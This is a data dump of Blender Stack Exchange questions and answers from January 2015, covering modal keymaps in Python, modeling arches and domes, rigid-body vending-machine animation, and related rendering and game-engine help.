  <row Id="21708" PostTypeId="1" CreationDate="2015-01-04T03:23:44.390" Score="5" ViewCount="1139" Body="&lt;p&gt;Creating a modal operator is not an issue, but hard-coding the user tools, interactions, and other events is quite cumbersome and not flexible for the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to check against modal keymap properties within a modal operator through Python? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in my modal I let users select elements with one of the mouse buttons. This is fine for most users but it becomes problematic if a user changes their selection mouse defaults (as an example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to create a modal keymap, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kc = bpy.context.window_manager.keyconfigs.addon&#xA;&#xA;# Create the mode switch menu hotkey&#xA;km = kc.keymaps.new(name='3D View', space_type='VIEW_3D')&#xA;kmi = km.keymap_items.new('wm.call_menu', 'V', 'PRESS', ctrl=True, shift=True)&#xA;kmi.properties.name = 'object.menu_name' &#xA;kmi.active = True&#xA;&#xA;km = kc.keymaps.new('Addon Modal Keymap', space_type='EMPTY', region_type='WINDOW', modal=True)&#xA;&#xA;kmi = km.keymap_items.new_modal('SELECTION', 'LEFTMOUSE', 'PRESS', any=True)&#xA;kmi = km.keymap_items.new_modal('REMOVE', 'X', 'PRESS')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do I check against these keymaps in the event system? Normally I would just hard-code it by checking for the event type, but this is not flexible. &lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="12" LastEditDate="2015-01-04T18:59:54.060" LastActivityDate="2015-01-04T18:59:54.060" Title="Is it possible to create a modal operator with a modal keymap in Python?" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21709" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T05:10:15.453" Score="9" Body="&lt;p&gt;Using a circle as a starting point. Delete half of the vertices. Place the cursor on the center of the arc and extrude and scale keeping the pivot point on the 3D cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hT5YO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude on the Z axis. Then you can use the inset tool &lt;kbd&gt;I&lt;/kbd&gt; (with idividual faces on) to create&#xA;the edge of the bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Swtwh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-04T07:41:45.670" LastActivityDate="2015-01-04T07:41:45.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21710" PostTypeId="1" AcceptedAnswerId="21767" CreationDate="2015-01-04T05:19:50.687" Score="8" ViewCount="1891" Body="&lt;p&gt;I'd like to make an animation of a vending machine.  I'm looking for some pointers on how to make the coil turn and drop a snack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made the coil from this &lt;a href=&quot;https://blender.stackexchange.com/questions/5755/model-a-simple-3d-spiral-shape&quot;&gt;link&lt;/a&gt;.  The coil is on a hard surface and there are two walls on either side of the coil.  I don't know how to approach the problem of getting the coil to turn and getting a box to move forward and then fall.  Any tips would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9796" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-06-16T01:47:59.010" Title="Coil Mechanism for Vending Machine" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21711" PostTypeId="2" ParentId="21685" CreationDate="2015-01-04T05:24:31.900" Score="3" Body="&lt;p&gt;I had alot of big specular/bump maps in my scene. I decided to unhook those in the node editor and just try using diffuse (the ones that arnt being seen by the camera). It seems that optimizing the scene by either removing texture maps that arnt in view, or reducing the texture size will stop the pink from showing up after a number of frames.&lt;/p&gt;&#xA;" OwnerUserId="9792" LastActivityDate="2015-01-04T05:24:31.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21712" PostTypeId="1" AcceptedAnswerId="21744" CreationDate="2015-01-04T06:05:34.223" Score="1" ViewCount="728" Body="&lt;p&gt;I am a beginner in blender and I made a quick animation of an object that does not move and the camera pans around it. When I press the play button in the camera view, it pans around fine. But when I render it, all the frames are the same. Every object is there and all but the camera does not pan. Please help as soon as you can. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/33664&quot; rel=&quot;nofollow&quot;&gt;http://pasteall.org/blend/33664&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9798" LastEditorUserId="5705" LastEditDate="2015-01-05T01:59:53.920" LastActivityDate="2019-05-07T18:45:59.037" Title="Why is my camera pan not rendering" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="5" ClosedDate="2019-05-09T00:25:40.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="21713" PostTypeId="2" ParentId="21712" CreationDate="2015-01-04T06:30:31.623" Score="0" Body="&lt;p&gt;The &lt;code&gt;Render&lt;/code&gt; button or &lt;kbd&gt;F12&lt;/kbd&gt; will render the current frame, i.e. the frame you're at in the timeline. The image will not be automatically saved to disk. You have to do that manually.&lt;br&gt;&#xA;The &lt;code&gt;Animation&lt;/code&gt; button or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt; will render the animation and save it to disk in the directory specified under &lt;code&gt;Output&lt;/code&gt;. The number of frames rendered is controlled by &lt;code&gt;Start Frame&lt;/code&gt;, &lt;code&gt;End Frame&lt;/code&gt; and &lt;code&gt;Frame Step&lt;/code&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X1zEK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-01-04T06:30:31.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21714" PostTypeId="2" ParentId="21710" CreationDate="2015-01-04T07:42:52.653" Score="14" Body="&lt;p&gt;Once you have the coil, you need to set it in motion by adding keyframes.&#xA;Go to the first frame press &lt;kbd&gt;I&lt;/kbd&gt; and select rotation.&#xA;Move to a different frame, rotate the coil and set a new keyframe by pressing &lt;kbd&gt;I&lt;/kbd&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/23uzZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set the coil to a passive &lt;strong&gt;rigid body&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t10Oe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the object on the vending machine and the rest of the collision objects. Set all of them, except for the box to be dispensed, as Passive rigid bodies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WWHEJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set your dispensed object as a Rigid body but make it active.&#xA;The big problem, as you'll soon see, is that the coil does not work correctly as as rigid body to interact with the dispensed box. The box goes out flying out at at the beginning of the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZDCm6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that the physics for collision objects and rigid bodies is far from perfect and does not follow the real geometry of the object, but creates like a bounding box: The Coil becomes almost like a big solid object with no gaps in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is then to turn the dispensed object into a rigid animated object for part of the interaction to force it to follow the turns of the coil, thus simulating the real motion of a vending machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animate the object so it follows the movement of the coil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LDc75.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all that's left is to &lt;strong&gt;animate the animate button&lt;/strong&gt;. To do that go to a frame where the dispensed object has reached the edge of the dispenser. Hover with the mouse over the &lt;strong&gt;animate&lt;/strong&gt; box and press &lt;kbd&gt;I&lt;/Kbd&gt; to set a key frame, Then move one frame in the time line, uncheck the animate button and press &lt;kbd&gt;I&lt;/kbd&gt; again to add another keyframe. What you are doing is deactivating the animation settings for the rigid body and letting it act just with the physics engine. Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to cache the physics and watch a preview of the object falling over the edge of the dispenser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iUceD.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fAVJm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the &lt;a href=&quot;http://www.pasteall.org/blend/33658&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-04T16:04:44.800" LastActivityDate="2015-01-04T16:04:44.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21715" PostTypeId="1" AcceptedAnswerId="21717" CreationDate="2015-01-04T08:21:29.530" Score="8" ViewCount="12349" Body="&lt;p&gt;I have the following mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJZDE.png&quot; alt=&quot;mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to extrude the face at the center so that a dome forms out of it, such that the dome's boundary would be exactly that of the circle. (Think bubble wrap.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick and easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="9614" LastActivityDate="2020-10-27T03:33:44.280" Title="How can I extrude a dome from a circular face?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21716" PostTypeId="2" ParentId="21671" CreationDate="2015-01-04T08:21:34.910" Score="8" Body="&lt;p&gt;A vector has a rotate function - see &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72b_release/mathutils.html#mathutils.Vector.rotate&quot;&gt;&lt;code&gt;mathutils.Vector.rotate&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vec = mathutils.Vector((0.0, 1.0, 2.0))&#xA;eul = mathutils.Euler((0.0, math.radians(45.0), 0.0), 'XYZ')&#xA;vec.rotate(eul)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-04T08:21:34.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21717" PostTypeId="2" ParentId="21715" CreationDate="2015-01-04T08:35:02.257" Score="9" Body="&lt;p&gt;Yes, try extruding and scaling it multiple times:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dmbbk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help make the extrusions more even, you might try using the &lt;em&gt;To Sphere&lt;/em&gt; operator (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;). You can define where the center of the &quot;sphere&quot; &lt;em&gt;To Sphere&lt;/em&gt; uses by using the 3D cursor as the pivot (&lt;kbd&gt;.&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be more precise, try adding a sphere and deleting half, then using &lt;em&gt;Bridge edge loops&lt;/em&gt; (&lt;kbd&gt;W&lt;/kbd&gt;, &lt;kbd&gt;E&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zDeu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the number of vertices on the perimeter of the sphere should match the number of vertices around the initial circle.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-01-04T08:46:03.103" LastActivityDate="2015-01-04T08:46:03.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21718" PostTypeId="2" ParentId="21715" CreationDate="2015-01-04T08:40:26.260" Score="6" Body="&lt;p&gt;I would not extrude it. Place your cursor in the center of your object. Add a sphere in the middle and do a boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZEIVP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your original object and set the boolean modifier to union.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Q1Zs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Swqa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-04T08:40:26.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21719" PostTypeId="1" CreationDate="2015-01-04T09:10:54.587" Score="1" ViewCount="7176" Body="&lt;p&gt;I purchased Fuse Character Creator and made a rigged model that I imported into Blender from Fuse. The model is a Collada File and it comes in fine, the model comes rigged and is fully poseable except that the textures aren't applied. I switch to texture view but still nothing. Here's how fuse works, you upload your model to their site, have it autorigged, and then choose the format that you want the model file in. I chose Collada. It then gives you the zip folder with the model and the textures in their own folder named &quot;textures&quot;. I don't know what to do from here. The textures are all PNG's. When I exported to as an obj file the model came with the textures applied, but the obj doesn't come rigged. I included a picture of the textures if it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8EJE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvchm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="3109" LastEditDate="2015-01-05T02:50:06.197" LastActivityDate="2015-03-06T03:52:45.033" Title="How to add textures to a collada file imported from Fuse" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21720" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T09:37:54.387" Score="7" Body="&lt;p&gt;There is an addon available in &lt;a href=&quot;https://developer.blender.org/diffusion/BAC/&quot; rel=&quot;nofollow noreferrer&quot;&gt;contrib&lt;/a&gt; called Building Objects that can create a brick wall which can include openings with arched tops (and bottoms). By setting the start and end of the wall to small values you can still get the arch with some easy to remove bricks on the side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X8AM9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block width alters the size of the pieces over the arch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQBku.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A curve size greater than 2.0 gives you a pointed arch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q9LvG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contrib addons aren't included with official release builds of blender but are normally included with &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;daily builds&lt;/a&gt; and many &lt;a href=&quot;http://graphicall.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;graphicall builds&lt;/a&gt; and the latest version can be downloaded &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender-addons-contrib.git/snapshot/HEAD.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;from here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-04T09:37:54.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21721" PostTypeId="1" AcceptedAnswerId="21725" CreationDate="2015-01-04T11:08:09.490" Score="1" ViewCount="890" Body="&lt;p&gt;I want to give a model a selection circle if (and only if) it is clicked once or twice. The circle is in another layer and i want to make it visible when i click on my model, and invisible when i click on the ground, and toggle those states&lt;/p&gt;&#xA;" OwnerUserId="9802" LastActivityDate="2015-01-04T14:30:03.693" Title="How to make visible an object from different layer in bge" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21722" PostTypeId="1" AcceptedAnswerId="21723" CreationDate="2015-01-04T11:23:50.383" Score="5" ViewCount="4945" Body="&lt;p&gt;There was an option to render volume in blender 2.71. I was used to doing that like in this tutorial: &lt;a href=&quot;http://www.blenderguru.com/tutorials/make-atmospheric-lighting-blender/#.VKkh0CuG_h4&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blenderguru.com/tutorials/make-atmospheric-lighting-blender/#.VKkh0CuG_h4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, in Blender 2.72, it is not possible to use homogeneous volume, because, the check button is just not there anymore!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Tc1g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to open project made in 2.72 in 2.71, and the option was there, but not in 2.72. Im really confused of that. Why is it removed?&lt;/p&gt;&#xA;" OwnerUserId="8407" LastEditorUserId="2952" LastEditDate="2015-12-06T07:46:21.303" LastActivityDate="2015-12-06T11:28:01.893" Title="Why there's not homogeneous volume scatter in 2.72?" Tags="&lt;rendering&gt;&lt;volumetrics&gt;&lt;world&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21723" PostTypeId="2" ParentId="21722" CreationDate="2015-01-04T12:06:31.707" Score="11" Body="&lt;p&gt;Of course this feature has &lt;strong&gt;not&lt;/strong&gt; been removed; it's just moved in the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now find it in the &lt;em&gt;Settings&lt;/em&gt; subpanel of the &lt;em&gt;World&lt;/em&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hfWIt.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hfWIt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RBDCw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3710" LastEditDate="2015-12-06T11:28:01.893" LastActivityDate="2015-12-06T11:28:01.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21724" PostTypeId="1" CreationDate="2015-01-04T12:25:07.700" Score="1" ViewCount="264" Body="&lt;p&gt;I'm working on a application where I want to save animations as a script where I write only changes in positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like :  L_Hand L_Arm -0.015 0.20 -0.18     (Start_of_Chain(dynamic) End_of_Chain(static) X Y Z)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and show it by inverse kinematics algorithm (something like CCD).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So questions is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I directly save the animation in some file format like my script?&#xA;(because I haven't good view about all file the formats blender can export animations)&lt;/li&gt;&#xA;&lt;li&gt;Can I load that file and show animation in BGE application?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My main idea is about saving and loading animations not frame by frame, but &#xA;only in script. Then show the animations in the BGE.&lt;/p&gt;&#xA;" OwnerUserId="9801" LastEditorUserId="2217" LastEditDate="2015-01-04T18:15:35.167" LastActivityDate="2015-03-16T15:45:13.150" Title="Inverse Kinematics - saving, loading file and showing animation in BGE" Tags="&lt;animation&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;export&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21725" PostTypeId="2" ParentId="21721" CreationDate="2015-01-04T12:31:39.843" Score="1" Body="&lt;p&gt;There's probably a way to do what you want; but there's a better way! I recommend the &lt;code&gt;Visibility&lt;/code&gt; sensor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming one object is called &lt;code&gt;Circle&lt;/code&gt;, the other one &lt;code&gt;Character&lt;/code&gt; and the other &lt;code&gt;Ground&lt;/code&gt;, start by moving the &lt;code&gt;Circle&lt;/code&gt; to the main layer; Then, in the &lt;code&gt;Outliner&lt;/code&gt;, disable it's render-ability, by pressing the camera icon next to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, select your &lt;code&gt;Character&lt;/code&gt; and add a &lt;em&gt;Message&lt;/em&gt; actuator to it; Set the &lt;code&gt;To:&lt;/code&gt; field to be &lt;code&gt;Circle&lt;/code&gt;, and the &lt;code&gt;Subject&lt;/code&gt; field to be &lt;em&gt;&lt;code&gt;Set Visible&lt;/code&gt;&lt;/em&gt;. Then, select the &lt;code&gt;Ground&lt;/code&gt; add another &lt;code&gt;Message&lt;/code&gt; actuator, with the &lt;code&gt;To:&lt;/code&gt; field set to &lt;code&gt;Circle&lt;/code&gt; and the &lt;code&gt;Subject&lt;/code&gt; set to  &lt;em&gt;&lt;code&gt;Set Invisible&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cIkpX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the &lt;code&gt;Circle&lt;/code&gt; and add two &lt;em&gt;Message sensors&lt;/em&gt; to it; set their subjects to be the same as previously, and connect each to a &lt;em&gt;&lt;code&gt;Visibility&lt;/code&gt;&lt;/em&gt; actuator, set to either set visible or invisible, depending on the message subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jQJXa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-01-04T14:30:03.693" LastActivityDate="2015-01-04T14:30:03.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21726" PostTypeId="2" ParentId="21691" CreationDate="2015-01-04T12:45:50.600" Score="1" Body="&lt;p&gt;@sambler provided a link to a tutorial by Jonathan Williamson of Blender Cookie. (Thankyou)   The part where the bucket connects to the rest of the arm contains similar mechanics to what I'm looking for.  By following that part of the tutorial I've used the 'track to' constraint and I think this will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/r-V8ihRUsTE&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/r-V8ihRUsTE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screencast keys have been removed from blender 2.73 (rc at least)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I used edit mode to extrude one extra small bone.  ctrl-d (copy) to copy the large bone (in edit mode so it's part of the same group of bones)   then ctrl-shift-c to bring up the menu where I choose 'track to'    then in the bone constraints menu change the head/tail value to 1.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2015-01-04T12:45:50.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21727" PostTypeId="2" ParentId="21708" CreationDate="2015-01-04T15:45:56.597" Score="4" Body="&lt;p&gt;I don't know how to use modal keymaps, but it is quite easy to write such an event system on your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I would do it now (I just wrote this the first time, so maybe I forgot something):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at first we need 2 classes to store the keymap information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class EventCollection:&#xA;    def __init__(self):&#xA;        self.events = {}&#xA;&#xA;    def new_event(self, name, event_settings):&#xA;        self.events[name] = event_settings&#xA;&#xA;    # assumes that only one event can happen at the same time    &#xA;    def get_matching_event_name(self, event):&#xA;        names = self.get_matching_event_names(event)&#xA;        if len(names) &amp;gt; 0:&#xA;            return names[0]&#xA;        return None&#xA;&#xA;    def get_matching_event_names(self, event):&#xA;        return [name for name, description in self.events.items() if description.fits_event(event)]&#xA;&#xA;&#xA;class EventSettings:&#xA;    def __init__(self, event_type, event_value, shift = False, ctrl = False, alt = False):&#xA;        self.type = event_type&#xA;        self.value = event_value&#xA;        self.shift = shift&#xA;        self.ctrl = ctrl&#xA;        self.alt = alt&#xA;&#xA;    def fits_event(self, event):&#xA;        return event.type == self.type and \&#xA;                event.value == self.value and \&#xA;                event.shift == self.shift and \&#xA;                event.ctrl == self.ctrl and \&#xA;                event.alt == self.alt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is how you can use these two classes in a modal operator&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TestKeymap(bpy.types.Operator):&#xA;    bl_idname = &quot;my.modal_operator&quot;&#xA;    bl_label = &quot;label&quot;&#xA;    bl_description = &quot;&quot;&#xA;    bl_options = {&quot;REGISTER&quot;}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return True&#xA;&#xA;    def modal(self, context, event):&#xA;&#xA;        name = self.events.get_matching_event_name(event)&#xA;        if name == &quot;my event&quot;:&#xA;            print(&quot;hey&quot;)&#xA;        if name == &quot;select&quot;:&#xA;            print(&quot;select&quot;)&#xA;&#xA;        if event.type == &quot;ESC&quot;:&#xA;            return {&quot;CANCELLED&quot;}&#xA;&#xA;        return {&quot;RUNNING_MODAL&quot;}&#xA;&#xA;    def invoke(self, context, event):&#xA;        context.window_manager.modal_handler_add(self)&#xA;&#xA;        e1 = EventSettings(&quot;A&quot;, &quot;PRESS&quot;, ctrl = True)&#xA;&#xA;        select_type = context.user_preferences.inputs.select_mouse&#xA;        if select_type == &quot;RIGHT&quot;: event_type = &quot;RIGHTMOUSE&quot;&#xA;        else: event_type = &quot;LEFTMOUSE&quot;&#xA;        e2 = EventSettings(event_type, &quot;PRESS&quot;)&#xA;&#xA;        self.events = EventCollection()&#xA;        self.events.new_event(&quot;my event&quot;, e1)          &#xA;        self.events.new_event(&quot;select&quot;, e2)  &#xA;&#xA;        return {&quot;RUNNING_MODAL&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this is mostly self-explanatory, so I won't go over it in detail.&#xA;Basicly you create an EventCollection when you invoke the operator. This makes sure that it is always up to date to latest changes in userprefs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I create two events (like KeyMapItems in normal keymaps). The one is very simple and the second one shows how to mimic the selection method. It checks wether you normally select with left or right and creates a corresponding EventSettings instance.&#xA;You may rename these classes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the modal-function you can always check if the current event matches one of the predefined ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes the system very flexible and easy to extend/change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a bit like what you wanted?&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2015-01-04T15:45:56.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
